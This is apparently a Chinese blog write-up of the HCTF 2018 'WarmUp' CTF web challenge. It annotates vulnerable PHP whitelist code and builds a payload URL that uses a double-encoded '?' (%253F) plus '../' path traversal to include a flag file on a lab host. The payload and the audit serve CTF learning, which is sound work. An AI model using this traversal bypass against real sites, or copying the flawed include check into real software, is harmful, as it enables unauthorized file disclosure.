web:[HCTF 2018]WarmUp

题目

点进页面,页面只有一张滑稽脸,没有其他的提示信息

查看网页源代码,发现source.php,尝试访问一下

跳转至该页面,页面显示为一段php代码,需要进行代码审计

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            //白名单验证
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }//isset是判断page是否为空。由于传进来的page为一个字符串且不为空,所以返回false

            if (in_array($page, $whitelist)) {
               //对输入进行判断,是否为白名单类的内容
                return true;
            }/*in_array的意思是判断page里是否包含白名单里的内容 例如source.php  hint.php。
              就是page=source.php或者hint.php才行.所以最后返回了false。*/


            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
       /*这里mb_substr 是个截断,返回0到mb_strpos之间的内容,而mb_strpos 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/
            if (in_array($_page, $whitelist)) {
                return true;
            }
/*经过上面的截断代码,page=source.php  所以返回true ,文件可以得到包含,结束,下面的代码就不用在执行了*/

            $_page = urldecode($page);//进行url解码
            //输入的url会进行一次解码,通过这个函数进行再一次解码,所以对“?”要进行二次编码==》%253F(%25是%的url编码,进行过一次后为%3F,在进行一次解码后变为“?”)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file']) //输入不能为空
        && is_string($_REQUEST['file'])//判断是否为string类型
        && emmm::checkFile($_REQUEST['file'])//调用emm类中的checkFile方法
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

先访问hint.php看看有没有别的提示信息

根据提示信息,进行目录穿越可获得flag,这里flag写了四次,可能使用四个或五个../

构造payload

http://1f0787c3-39e3-43b6-9583-f8ecb87aae1c.node4.buuoj.cn:81/?file=hint.php%253F../../../../../ffffllllaaaagggg

得到flag

总结

mb_substr()函数返回字符串的一部分,substr()函数,只针对英文字符,如果要分割的中文文字则需要使用mb_substr()。

若start参数是负数且length小于或等于start,则length为0

如果在测试时没有匹配到指定符号,将返回字符串长度

代码审计参考链接:

[HCTF 2018]WarmUp_ke1nys的博客-CSDN博客

[HCTF 2018]WarmUp_浑水摸鱼的咸鱼的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值